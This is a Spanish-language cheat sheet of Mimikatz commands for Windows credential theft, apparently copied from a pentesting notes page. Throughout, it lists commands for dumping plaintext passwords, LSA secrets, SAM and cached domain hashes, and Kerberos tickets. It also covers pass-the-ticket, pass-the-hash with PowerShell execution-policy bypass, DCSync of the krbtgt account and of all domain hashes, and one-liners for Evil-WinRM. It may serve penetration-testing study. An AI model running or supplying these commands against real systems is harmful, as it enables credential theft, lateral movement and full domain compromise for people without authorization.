Iniciar

1
2
3
4
5
6
7
8
# Iniciar Mimikatz
mimikatz.exe

# Verificar/obtener privilegios (siempre ejecutar primero)
privilege::debug

# Elevar a SYSTEM (si es necesario)
token::elevate

Extracción de Credenciales

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Extraer credenciales en texto plano de la memoria
sekurlsa::logonpasswords

# Extraer secretos LSA (servicios, auto-logon)
lsadump::secrets

# Extraer hashes SAM local
lsadump::sam
lsadump::lsa /patch #both these dump SAM

# Extraer cachés de credenciales de dominio
lsadump::cache

# Extraer tickets Kerberos en memoria
sekurlsa::tickets

# Extraer credenciales de un proceso específico 
sekurlsa::process

# Tomados de otros lados
lsadump::sam SystemBkup.hiv SamBkup.hiv
lsadump::dcsync /user:krbtgt

Gestión de Tickets Kerberos Y Pass-the-Ticket

1
2
3
4
5
6
7
8
9
# Exportar tickets actuales a archivos .kirbi
kerberos::list
kerberos::list /export

# Purgar tickets actuales
kerberos::purge

# Importar ticket (Pass-the-Ticket)
kerberos::ptt ticket.kirbi

Pass-the-Hash

1
2
3
4
5
# Usar hash NTLM para autenticarse
sekurlsa::pth /user:usuario /domain:dominio /ntlm:hash_ntlm /run:cmd.exe

# Para hash NTLM completo
sekurlsa::pth /user:usuario /domain:dominio /ntlm:hash_ntlm /run:"powershell -exec bypass"

DCSync

1
2
3
4
5
6
7
8
# Extracción de hash del usuario
lsadump::dcsync /domain:dominio.local /user:nombre_usuario

# Extracción de hash del KRBTGT (útil para Golden Ticket)
lsadump::dcsync /domain:dominio.local /user:krbtgt

# Extracción de todos los hashes
lsadump::dcsync /domain:dominio.local /all

Usando Mimikatz One Liner (para Evil-WinRM)

1
2
3
4
5
./mimikatz.exe privilege::debug "sekurlsa::logonpasswords" exit

./mimikatz.exe privilege::debug "lsadump::secrets" exit

./mimikatz.exe token::elevate "lsadump::secrets" exit